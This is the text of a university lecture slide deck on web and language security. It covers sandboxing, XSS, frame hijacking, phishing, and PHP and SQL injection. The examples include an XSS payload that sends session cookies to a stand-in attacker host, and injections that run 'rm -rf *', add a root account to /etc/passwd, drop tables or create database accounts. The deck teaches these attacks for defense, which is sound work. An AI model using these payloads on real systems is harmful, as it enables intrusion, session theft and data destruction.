1 of 51

Security and Programming Languages - Part 2

CSCI 334: Principles of Programming Languages

Williams College�Spring 2023

2 of 51

Principles of Security Design

  • Ensure: secrecy, integrity, availability

  • Least Privilege

  • Minimal Trusted Computing Base (TCB)

3 of 51

Sandbox Security Model

files

printer

network

monitor

...

applet

runtime

library

Virtual Machine Sandbox

security

policy

security

manager

applet

Virtual Machine Sandbox

Scoping

Type system

Security properties

secrecy

integrity

availability

4 of 51

Examples of Breaking out of the Sandbox

5 of 51

Security for the "Web"

  • Safely browse the web
    • Users should be able to visit any website without harm

  • Secure Web Apps
    • Web Apps should have the same security properties as stand-alone applications, eg:
      • secrecy
      • integrity
      • availability

6 of 51

Short Survey of Threats

  • Client Side
    • information leaks
    • XSS: cross-site scripting
    • frame isolation
    • phishing attacks

  • Server Side
    • Code injection attacks

  • (Some slides thanks to John Mitchell and Dan Boneh)

7 of 51

HTML Image Tags

...

<img src="http://example.com/shilo.jpg"

height="250" width="300">

...

8 of 51

HTML Image Tags

  • Communicate with other sites...�
    • <img src="http://sneaky.com/sneaky-shilo.jpg?extra_stuff">
  • ... and hide image:�

  • Takeaway: A web page can send information to any site.

9 of 51

HTML with JavaScript, DOM

  • JavaScript can access DOM for page being viewed...�and can change it.�

  • Example: Add a new list item:

  • Everything I said about sandboxing applies here too...

<script>

var list = document.getElementById('theList')

var newItem = document.createElement('li')

var newText = document.createTextNode("moo")

newItem.appendChild(newText)

list.appendChild(newItem)

</script>

<ul id="theList">

<li> Item 1 </li>

</ul>

fact.html

dom.html

frames.html

10 of 51

Cookies...

  • Servers can store local state on clients
  • In HTML:

  • Can use to manage session state, ie user name, browsing state, etc.
  • [Look at Google, williams in FireFox...]

cookie.html

<script>� document.cookie=� "username=Steve;" + � "expires=Thu, 9 May 2019;" +� "SESSID=123456";�</script>

11 of 51

.williams.edu Cookie in Steve's Browser

PHPSESSID=6de1c2222be33d9d6237efff754e1656;

__utma=193658155.1561475015.1393070964.1400092399.1400116396.7;

__utmb=193658155.4.10.1400116396;

__utmc=193658155;

__utmz=193658155.1400116396.7.3.utmcsr=sorry.williams.edu|utmccn=(referral)|utmcmd=referral|utmcct=/www/index.html;

https%3a%2f%2fsarah.williams.edu%2fpsp%2fcsprd%2femployee%2fhrms%2frefresh=list:%20%3Ftab%3Dremoteunifieddashboard%7C%3Frefresh_all_pagelets%3Dremoteunifieddashboard;

pscsapp3-13400-PORTAL-PSJSESSIONID=whprAAAASnTvLLWnMtmBBBB5vSLhCCCC!2033332244

Can only access this cookie in code downloaded from *.williams.edu

session id for PeopleSoft

[prior version...]

12 of 51

XSS: Cross-Sight Scripting Attacks

To: freund@cs.williams.edu

Subject: Click image for more Puppies!

From: plum@gnail.com

13 of 51

Click Image for More Puppies!

14 of 51

Click Image for More Puppies! (version 2)

15 of 51

Click Image for More Puppies!

16 of 51

Click Image for More Puppies! (version 3)

17 of 51

http://www.williams.edu/search/?q=Cow

18 of 51

Click Image for More Puppies! (version 4)

19 of 51

�http://www.williams.edu/search/?q=� <script>alert('moo')</script>

20 of 51

Click Image for More Puppies! (version 5)

21 of 51

http://www.williams.edu/search/?q=� <script>document.write(document.cookie)</script>

22 of 51

(version 6)

http://www.williams.edu/search/?q=� <script>

window.open("http://gnail.com?cookie="+ � document.cookie)� </script>

23 of 51

By requesting this page from gnail.com you just handed over your cookie for williams.edu...

I'm now going to access sarah.williams.edu

using your Session Id...

http://gnail.com?cookie=PHPSESSION..

24 of 51

The Punch Line...

  • I clicked on this link:

http://www.williams.edu/search/?q=� <script>window.open("http://gnail.com?cookie=" + � document.cookie)� </script>

  • My browser then sent the following http request to the attacker:�� "http://gnail.com?cookie=PHPSESSID=..."

  • This is bad.

25 of 51

Moral: Servers should never return �client-provided scripts!

<html>

Results for

<script>

window.open("http://gnail.com?d=" � + document.cookie)

</script>

</html>

gnail.com

williams.edu

Victim client

1) User gets bad link on webpage

2) User clicks on link

3) Server echoes link content in response

http://williams.edu/search?q=

<script> ... </script>

4) Browser runs script embedded

in server response

5) Secret user data sent�to attacker

26 of 51

To: Web Ops

Subject: XSS vulnerability

Date: Tue, 13 May 2014 16:25:16 -0400

I noticed today that the Williams homepage is susceptible to an XSS vulnerability. The simplest way to see this is to go to the homepage and do a search for

<script>alert('moo')</script>

The page returned by the search has the search phrase embedded in it --- in this case my script --- and the browser then runs that code without warning the user.

...

Best,

- Steve.

Date: Tue, 13 May 2014 22:34:58 -0400

Hi Steve,

Thanks for pointing this out. We'll definitely take a look.

Web Ops

27 of 51

Click Image for More Puppies!�(A couple hours later...)

28 of 51

29 of 51

What Happens Now?

30 of 51

And all this just by clicking on a link from one malicious source...

31 of 51

Isolation Policy Goals

  • Safe to visit an malicious web site

  • Safe to visit two pages at the same time

  • Safe to allow delegation�[frames.html]

32 of 51

Browser Security Mechanisms

  • Each frame of a page has an origin
    • Origin = protocol://host:port (ie http://www.williams.edu:8080)
  • Frame can access its own origin
    • Network access, Read/write DOM, Storage (cookies)
  • Frame cannot access data associated with a different origin

A

B

A

B

A

33 of 51

Frame Hijacking

top.frames[1].location = "http://www.attacker.com/...";

top.frames[2].location = "http://www.attacker.com/...";

...

34 of 51

What Should the Policy Be?

Child

Sibling

Descendant

Frame Bust

35 of 51

Early Browser Policies

Browser

Policy

IE 6 (default)

Permissive

IE 6 (option)

Child

IE7 (no Flash)

Descendant

IE7 (with Flash)

Permissive

Firefox 2

Window

Safari 3

Permissive

Opera 9

Window

HTML 5

Child

Descendent is now what everyone uses...

36 of 51

Phishing: Safe to Type Your Password?

Valid certificate�

You are connected to the real Bank of the West

Most browsers hide cert status now because valid certs are required.

HTTPS

Secure communication via browser encryption

37 of 51

Safe to Type Your Password?

Requiring valid certificates helps with blatant attacks like this now...

38 of 51

A Few More Examples

39 of 51

Safe to Type Your Password?

40 of 51

Phishing: Plenty of Other Ways to Dupe Users

41 of 51

Server Side PHP Scripts

a.com Server

2 + 3

Calculate!

http://a.com/calc.php?exp="2+3"

...

$in = $_GET[‘exp'];

eval('$ans = ' . $in . ';');

...

5

<html>5</html>

eval("$ans = 2+3;");

42 of 51

Code Injection Attack

a.com Server

1; system('rm -rf *')

Calculate!

http://a.com/calc.php?exp="1; system('rm –rf *')"

...

$in = $_GET[‘exp'];

eval('$ans = ' . $in . ';');

...

eval("$ans = 1; system('rm –rf *')");

43 of 51

Other PHP Attacks

  • PHP Script to send welcome message:

  • Attacker posts

  • Server Runs:

$email = $_GET[“email”]

$subject = $_GET[“subject”]

system(“mail $email –s $subject < /tmp/welcome.txt”)

http://yourdomain.com/mail.php?

email=springer@malicious.cow.com &

subject=mwahahahaha < /usr/passwd; #

mail springer@malicious.cow.com � –s mwahahahaha < /usr/passwd; #< /tmp/welcome.txt

44 of 51

Other PHP Attacks

  • PHP Script to send welcome message:

  • OR Attacker posts

  • Server Runs:

$email = $_GET[“email”]

$subject = $_GET[“subject”]

system(“mail $email –s $subject < /tmp/welcome.txt”)

http://yourdomain.com/mail.php?

email=springer@malicious.cow.com &

subject=uhoh; echo "springer::0:0:root:/:/bin/sh">>/etc/passwd; #

mail springer@malicious.cow.com � –s uhoh; � echo "springer::0:0:root:/:/bin/sh">>/etc/passwd; #< /tmp/welcome.txt

45 of 51

Database Queries in PHP (The Wrong Way)

......

Login

http://a.com/login.php?user=steve&pass=rachmaninoff

$user= $_GET[‘user’];

$pass= $_GET[‘pass’];

$sql = "SELECT * FROM Users

WHERE user='$user'

AND password='$pass'"

$rs = $db->executeQuery($sql);

if ($rs->count > 0)

// user logged in

DB

SELECT ...

...

......

46 of 51

Bad Input

  • login.php?user=steve&pass=rachmaninoff

  • login.php?user="' or 1=1 –- "

    • All table rows match this query
    • Result is never empty

SELECT * FROM Users

WHERE user='steve' AND password='rachmaninoff'

SELECT * FROM Users

WHERE user='' OR 1=1 -- AND password=''

47 of 51

Even Worse Input

  • login.php?user=� &pass="' ; DROP TABLE Users "

    • Attacker inserted a second command...
    • That deletes the Users table.

SELECT * FROM Users

WHERE user='' AND pass='';

DROP TABLE Users

48 of 51

And Even Worse Input

    • login.php?user=� &pass="' ; exec cmdshell � ′net user springer badpwd′ / ADD"

    • If SQL is running as "administrator", attacker creates a new account in the DB.
    • (Think back to Least Privilege...)

SELECT * FROM Users

WHERE user='' AND pass='' ;

exec cmdshell 'net user springer badpwd′ / ADD

49 of 51

How to Avoid Code Injection Attacks

  • Never build SQL queries directly from input
    • or use in any other sort of executable command...

  • Information Flow Problem
    • Dynamic data tainting (Perl)
    • Static Analyses for Java, PHP

50 of 51

What's Next?

  • Languages to specify & enforce security policies
    • isolation and resource access rules
    • communication
    • delegation�
  • Languages to specify & enforce information flow
    • which parts of code have access to which data?
    • how is data permitted to be used?

51 of 51

What's Next?

  • Languages for automated response to large attacks (involving many machines, many orgs.)
    • recognize / mitigate damage / prevent future attacks

  • Challenges
    • expressiveness
    • strong guarantees
    • efficiency
    • ease of use
    • modularity